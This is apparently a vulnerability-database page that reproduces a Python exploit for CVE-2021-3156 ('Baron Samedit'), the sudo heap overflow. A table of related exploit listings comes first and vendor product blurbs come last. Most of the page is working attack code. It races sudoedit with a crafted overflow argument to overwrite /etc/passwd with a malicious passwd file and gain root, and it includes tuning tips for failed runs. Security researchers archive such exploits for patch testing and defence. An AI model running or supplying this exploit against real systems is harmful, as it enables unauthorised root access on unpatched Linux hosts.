| Reporter | Title | Published | Views | Family All 459 |
|---|---|---|---|---|
| Exploit for Race Condition in Canonical Ubuntu_Linux | 10 Nov 202110:33 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 14 Apr 202123:08 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 12 Oct 202120:51 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 23 Nov 202116:28 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 14 Mar 202122:44 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 27 Sep 202114:38 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 11 Dec 202100:59 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 27 Aug 202116:41 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 1 Feb 202121:54 | ā | gitee | |
| Exploit for Off-by-one Error in Sudo_Project Sudo | 18 Mar 202116:49 | ā | gitee |
# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)
# Exploit Author: West Shepherd
# Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1.
# Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31
# CVE : CVE-2021-3156
# Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code.
# Sources:
# (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
# (2) https://github.com/stong/CVE-2021-3156
# Requirements: Python3
#!/usr/bin/python3
import os
import pwd
import time
import sys
import argparse
class Exploit(object):
username = ''
size = 0
data = ''
def __init__(self, source, target, sleep):
self.sleep = sleep
self.source = source
self.target = target
@staticmethod
def readFile(path):
return open(path, 'r').read()
@staticmethod
def getUser():
return pwd.getpwuid(os.getuid())[0]
@staticmethod
def getSize(path):
return os.stat(path).st_size
def main(self):
self.username = self.getUser()
self.data = self.readFile(self.source)
self.size = self.getSize(self.target)
environ = {
'\n\n\n\n\n': '\n' + self.data,
'SUDO_ASKPASS': '/bin/false',
'LANG':
'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'A': 'A' * 0xffff
}
for i in range(5000):
directory =
'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
overflow =
'11111111111111111111111111111111111111111111111111111111%s' %
directory
if os.path.exists(directory):
sys.stdout.write('file exists %s\n' % directory)
continue
child = os.fork()
os.environ = environ
if child:
sys.stdout.write('[+] parent %d \n' % i)
sys.stdout.flush()
time.sleep(self.sleep)
if not os.path.exists(directory):
try:
os.mkdir(directory, 0o700)
os.symlink(self.target, '%s/%s' % (directory,
self.username))
os.waitpid(child, 0)
except:
continue
else:
sys.stdout.write('[+] child %d \n' % i)
sys.stdout.flush()
os.setpriority(os.PRIO_PROCESS, 0, 20)
os.execve(
path='/usr/bin/sudoedit',
argv=[
'/usr/bin/sudoedit',
'-A',
'-s',
'\\',
overflow
],
env=environ
)
sys.stdout.write('[!] execve failed\n')
sys.stdout.flush()
os.abort()
break
if self.size != self.getSize(self.target):
sys.stdout.write('[*] success at iteration %d \n' % i)
sys.stdout.flush()
break
sys.stdout.write("""
\nConsider the following if the exploit fails:
\n\t(1) If all directories are owned by root then sleep
needs to be decreased.
\n\t(2) If they're all owned by you, then sleep needs
increased.
""")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
add_help=True,
description='* Sudo Privilege Escalation / Heap Overflow -
CVE-2021-3156 *'
)
try:
parser.add_argument('-source', action='store', help='Path to
malicious "passwd" file to overwrite the target')
parser.add_argument('-target', action='store', help='Target
file path to be overwritten (default: /etc/passwd)')
parser.add_argument('-sleep', action='store', help='Sleep
setting for forked processes (default: 0.01 seconds')
parser.set_defaults(target='/etc/passwd', sleep='0.01')
options = parser.parse_args()
if options.source is None:
parser.print_help()
sys.exit(1)
exp = Exploit(
source=options.source,
target=options.target,
sleep=float(options.sleep)
)
exp.main()
except Exception as err:
sys.stderr.write(str(err))
Data
Build on a solid foundation withĀ Vulners data
WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data
Api
Power your application withĀ Vulners API
The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access
App
Assess and manage vulnerabilities withĀ VulnersĀ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation